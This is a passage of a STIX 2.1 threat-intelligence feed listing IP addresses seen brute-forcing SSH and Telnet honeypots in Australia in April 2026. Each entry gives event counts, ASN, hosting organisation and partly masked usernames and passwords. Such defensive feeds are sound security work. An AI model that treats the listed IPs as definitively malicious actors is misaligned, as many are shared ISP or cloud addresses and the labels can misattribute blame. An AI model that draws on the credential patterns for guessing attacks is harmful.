      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T19:15:20.000Z",
      "valid_until": "2026-05-29T19:15:08.000Z"
    },
    {
      "created": "2026-04-27T19:15:20.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 15557. Organisation(s): Societe Francaise Du Radiotelephone - SFR SA.",
      "id": "indicator--26995cc9-0d53-4f4c-9b88-363d3174d581",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T19:15:20.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '93.15.254.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T19:15:20.000Z",
      "valid_until": "2026-05-29T19:15:08.000Z"
    },
    {
      "created": "2026-04-27T20:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 34. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): r**t. Passwords observed (masked): r**t.",
      "id": "indicator--a2e98f4f-a728-4e70-b102-365c0c1f3a89",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '121.165.204.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T20:15:10.000Z",
      "valid_until": "2026-05-29T20:15:08.000Z"
    },
    {
      "created": "2026-04-27T20:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 21. Sensors involved: Cowrie. Target ports: 23. Source country: SY. ASN(s): 216472. Organisation(s): High Speed For Internet Services L.L.C.",
      "id": "indicator--aa2e8c48-8bd5-48eb-b782-f2cbc0f34ebb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '131.222.210.141']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T20:15:10.000Z",
      "valid_until": "2026-05-29T20:15:08.000Z"
    },
    {
      "created": "2026-04-27T20:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: TR. ASN(s): 216472. Organisation(s): High Speed For Internet Services L.L.C.",
      "id": "indicator--4f7d318e-900f-4040-904c-253c4d375bc7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '131.222.252.58']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T20:15:10.000Z",
      "valid_until": "2026-05-29T20:15:08.000Z"
    },
    {
      "created": "2026-04-27T20:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--9c9f44ea-a4f8-4f2f-9918-97a835615f0f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '138.197.118.33']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T20:15:10.000Z",
      "valid_until": "2026-05-29T20:15:08.000Z"
    },
    {
      "created": "2026-04-27T20:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 58519. Organisation(s): Cloud Computing Corporation. Usernames observed (masked): r**t. Passwords observed (masked): m****p.",
      "id": "indicator--4558285d-e46a-48c4-a9fd-d646eef09104",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '182.44.12.249']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T20:15:10.000Z",
      "valid_until": "2026-05-29T20:15:08.000Z"
    },
    {
      "created": "2026-04-27T20:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 28573. Organisation(s): Claro NXT Telecomunicacoes Ltda.",
      "id": "indicator--87f80bfe-0ae9-4b6f-8fa0-78ed3cd4ab1f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '186.207.249.112']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T20:15:10.000Z",
      "valid_until": "2026-05-29T20:15:08.000Z"
    },
    {
      "created": "2026-04-27T20:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 26. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): *, a***n, ***, r**t. Passwords observed (masked): , *, a***n, r**t.",
      "id": "indicator--663a6462-1865-42cc-ad4c-7cbc94915afc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '209.38.241.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T20:15:10.000Z",
      "valid_until": "2026-05-29T20:15:08.000Z"
    },
    {
      "created": "2026-04-27T20:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 142. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 38700. Organisation(s): SMILESERV. Usernames observed (masked): r**t, 3**********4, u****u. Passwords observed (masked): !*********3, 1*******e, 1******a, 1******f, 3***********4.",
      "id": "indicator--39cacbca-2bb3-4db7-9253-0d73fe626820",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '49.247.36.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T20:15:10.000Z",
      "valid_until": "2026-05-29T20:15:08.000Z"
    },
    {
      "created": "2026-04-27T20:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 190. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PL. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): !**********f, 0************a, 1******w, 1******r, 3***********4.",
      "id": "indicator--f40c254d-5cc2-48e2-803c-71a119e33da0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '54.38.52.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T20:15:10.000Z",
      "valid_until": "2026-05-29T20:15:08.000Z"
    },
    {
      "created": "2026-04-27T20:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 10439. Organisation(s): CariNet, Inc..",
      "id": "indicator--c7e96d16-cee6-4ab1-8096-06e9e4477f16",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '71.6.232.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T20:15:10.000Z",
      "valid_until": "2026-05-29T20:15:08.000Z"
    },
    {
      "created": "2026-04-27T21:15:29.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 141892. Organisation(s): CV Andhika Pratama Sanggoro. Usernames observed (masked): r**t. Passwords observed (masked): a*************7.",
      "id": "indicator--c0c261e8-7a52-444c-88f4-3eefa1c1b5e7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T21:15:29.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.186.31.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T21:15:29.000Z",
      "valid_until": "2026-05-29T21:15:02.000Z"
    },
    {
      "created": "2026-04-27T21:15:29.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 137718. Organisation(s): Beijing Volcano Engine Technology Co., Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): 1**8, 2****2, c********3, z*****t.",
      "id": "indicator--6a04e8c0-b4bf-4a6d-aacd-c8fa3942cb4e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T21:15:29.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '115.191.23.138']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T21:15:29.000Z",
      "valid_until": "2026-05-29T21:15:02.000Z"
    },
    {
      "created": "2026-04-27T21:15:29.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): r**t. Passwords observed (masked): P*******1.",
      "id": "indicator--38aace4c-9f42-4b9c-8945-7adaf9a92c68",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T21:15:29.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '119.199.188.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T21:15:29.000Z",
      "valid_until": "2026-05-29T21:15:02.000Z"
    },
    {
      "created": "2026-04-27T21:15:29.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--d54c49d5-405d-46b9-9b50-0ee7c420e1a6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T21:15:29.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '125.138.115.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T21:15:29.000Z",
      "valid_until": "2026-05-29T21:15:02.000Z"
    },
    {
      "created": "2026-04-27T21:15:29.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 61657. Organisation(s): Jr Net Informatica Ltda - ME.",
      "id": "indicator--8088dafc-8fb6-4eff-91c7-570de5b8df0a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T21:15:29.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '131.100.254.40']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T21:15:29.000Z",
      "valid_until": "2026-05-29T21:15:02.000Z"
    },
    {
      "created": "2026-04-27T21:15:29.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 213937. Organisation(s): Gagra Telecom LLC.",
      "id": "indicator--60f7f869-7ddc-4cb0-aa6e-7a6f9dd93b5e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T21:15:29.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '194.32.242.131']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T21:15:29.000Z",
      "valid_until": "2026-05-29T21:15:02.000Z"
    },
    {
      "created": "2026-04-27T21:15:29.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 190. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): *@#qweasd., 1**8, 1******e, 1*******c, 2****2.",
      "id": "indicator--8ec98206-549c-4b46-9651-11cce84171f3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T21:15:29.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '34.131.63.3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T21:15:29.000Z",
      "valid_until": "2026-05-29T21:15:02.000Z"
    },
    {
      "created": "2026-04-27T21:15:29.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 7713. Organisation(s): PT Telekomunikasi Indonesia. Usernames observed (masked): r**t. Passwords observed (masked): L*******6.",
      "id": "indicator--91d859e7-01b5-430b-a6ce-d5a624b3b1f0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T21:15:29.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '36.64.68.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T21:15:29.000Z",
      "valid_until": "2026-05-29T21:15:02.000Z"
    },
    {
      "created": "2026-04-27T21:15:29.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 20. Sensors involved: Cowrie. Target ports: 23. Source country: RW. ASN(s): 37006. Organisation(s): Liquid Telecommunication Rwanda.",
      "id": "indicator--ad7d070e-a5ec-45a4-8782-59a5ccc7757d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T21:15:29.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '41.173.34.128']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T21:15:29.000Z",
      "valid_until": "2026-05-29T21:15:02.000Z"
    },
    {
      "created": "2026-04-27T21:15:29.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 178. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 7922. Organisation(s): Comcast Cable Communications, LLC. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1**********z, 1**********4, 2****7, 3*******1, 3***********4.",
      "id": "indicator--40a52909-6871-432b-9e60-2a13797f15a1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T21:15:29.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '50.225.176.238']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T21:15:29.000Z",
      "valid_until": "2026-05-29T21:15:02.000Z"
    },
    {
      "created": "2026-04-27T21:15:29.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): r**t. Passwords observed (masked): a*****i.",
      "id": "indicator--64e949fe-8ed3-4d45-9149-354c5fa33cd0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T21:15:29.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '51.75.64.35']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T21:15:29.000Z",
      "valid_until": "2026-05-29T21:15:02.000Z"
    },
    {
      "created": "2026-04-27T23:15:28.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 184. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 401696. Organisation(s): cognetcloud INC. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1*******c, 3***********4, 3**********4, A*****3, A*******3.",
      "id": "indicator--ab0c2d46-39a0-43f5-b528-e9607e55e222",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T23:15:28.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.85.226.34']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T23:15:28.000Z",
      "valid_until": "2026-05-29T23:15:08.000Z"
    },
    {
      "created": "2026-04-27T23:15:28.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4811. Organisation(s): China Telecom Group. Usernames observed (masked): r**t, r****2, w******u. Passwords observed (masked): *, 1********7, r*****2.",
      "id": "indicator--20836fc3-47cb-4592-bbf8-14f8813127cd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T23:15:28.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '14.103.114.205']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T23:15:28.000Z",
      "valid_until": "2026-05-29T23:15:08.000Z"
    },
    {
      "created": "2026-04-27T23:15:28.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: UA. ASN(s): 43633. Organisation(s): Gigabit-Online LLC.",
      "id": "indicator--31480317-0b03-4197-b6c9-4fb78920a1a4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T23:15:28.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '176.120.111.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T23:15:28.000Z",
      "valid_until": "2026-05-29T23:15:08.000Z"
    },
    {
      "created": "2026-04-27T23:15:28.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BO. ASN(s): 6568. Organisation(s): EMPRESA NACIONAL DE TELECOMUNICACIONES SOCIEDAD ANONIMA. Usernames observed (masked): r**t. Passwords observed (masked): A********., b*********3.",
      "id": "indicator--8c8ac895-fe54-4ef6-b605-774bc09a9677",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T23:15:28.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '181.115.208.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T23:15:28.000Z",
      "valid_until": "2026-05-29T23:15:08.000Z"
    },
    {
      "created": "2026-04-27T23:15:28.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 64. Sensors involved: Cowrie. Target ports: 23. Source country: CR. ASN(s): 14754. Organisation(s): TELECOMUNICACIONES DE GUATEMALA, SOCIEDAD ANONIMA.",
      "id": "indicator--36e9ca2a-efc5-49d2-85bb-3110d49ad787",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T23:15:28.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '186.151.101.208']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T23:15:28.000Z",
      "valid_until": "2026-05-29T23:15:08.000Z"
    },
    {
      "created": "2026-04-27T23:15:28.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 45609. Organisation(s): Bharti Airtel Ltd. AS for GPRS Service.",
      "id": "indicator--5fc07cad-0d16-4e77-9fc2-33ad17ee0671",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T23:15:28.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '223.237.134.78']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T23:15:28.000Z",
      "valid_until": "2026-05-29T23:15:08.000Z"
    },
    {
      "created": "2026-04-28T00:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 41. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): , C************0, C******************>, F************************t, G************0. Passwords observed (masked): , A*********************p, C**************S, C***************0, T***************>.",
      "id": "indicator--141db625-9ec8-4801-bf1f-259b67c12fbc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T00:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '167.172.185.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T00:15:04.000Z",
      "valid_until": "2026-05-30T00:15:02.000Z"
    },
    {
      "created": "2026-04-28T00:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 8151. Organisation(s): UNINET.",
      "id": "indicator--3c7c1195-0026-4b34-8c55-64a978e32aa2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T00:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '187.250.121.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T00:15:04.000Z",
      "valid_until": "2026-05-30T00:15:02.000Z"
    },
    {
      "created": "2026-04-28T00:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--471d0e6c-43ca-4942-a009-7e1fc51e27bf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T00:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '206.81.23.220']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T00:15:04.000Z",
      "valid_until": "2026-05-30T00:15:02.000Z"
    },
    {
      "created": "2026-04-28T00:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 3215. Organisation(s): Orange.",
      "id": "indicator--ad8ef215-67a7-48e5-bd33-a53a104ed941",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T00:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '92.141.51.126']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T00:15:04.000Z",
      "valid_until": "2026-05-30T00:15:02.000Z"
    },
    {
      "created": "2026-04-28T01:15:39.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 152320. Organisation(s): GOALNOW NETWORK TECHNOLOGY CO., LIMITED. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--bec53e86-4343-4f08-abe5-902ce00d18d2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T01:15:39.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.85.72.144']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T01:15:39.000Z",
      "valid_until": "2026-05-30T01:15:03.000Z"
    },
    {
      "created": "2026-04-28T01:15:39.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14618. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--b4f0777e-7209-4031-853d-6f5af8d8436b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T01:15:39.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '13.222.161.63']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T01:15:39.000Z",
      "valid_until": "2026-05-30T01:15:03.000Z"
    },
    {
      "created": "2026-04-28T01:15:39.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 266200. Organisation(s): EX2NET TELECOMUNICACOES - LTDA.",
      "id": "indicator--0bd3ab71-5941-4934-be7d-b3682686be1f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T01:15:39.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
